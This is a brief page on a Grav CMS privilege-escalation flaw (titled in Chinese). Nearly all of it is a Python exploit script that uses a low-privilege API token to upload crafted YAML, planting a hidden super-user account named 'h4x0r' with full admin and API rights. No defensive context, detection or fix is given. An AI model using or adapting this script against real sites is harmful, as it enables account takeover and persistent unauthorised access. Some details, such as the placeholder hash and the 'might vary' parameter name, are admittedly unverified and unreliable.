CVE-2026-42844 Grav权限提升漏洞

import requests # Target URL url = "http://target-grav-site/api/v1/blueprint-upload" # Low privilege token (api.media.write) token = "LOW_PRIVILEGE_API_TOKEN" headers = { "Authorization": f"Bearer {token}" } # Malicious YAML content to create a super user # Note: The password hash should be a valid bcrypt hash in a real attack yaml_content = """ username: h4x0r password: $2y$10$HashedPasswordHere... email: [email protected] fullname: Attacker title: Administrator state: enabled access: admin: login: true super: true api: super: true """ # The vulnerability allows writing arbitrary YAML to user/accounts/ # The parameter name 'file' might vary based on implementation details files = { 'file': ('admin.yaml', yaml_content, 'application/x-yaml') } response = requests.post(url, headers=headers, files=files) if response.status_code == 200: print("[+] Exploit successful! Admin user created.") print("[+] Try logging in with username: h4x0r") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text)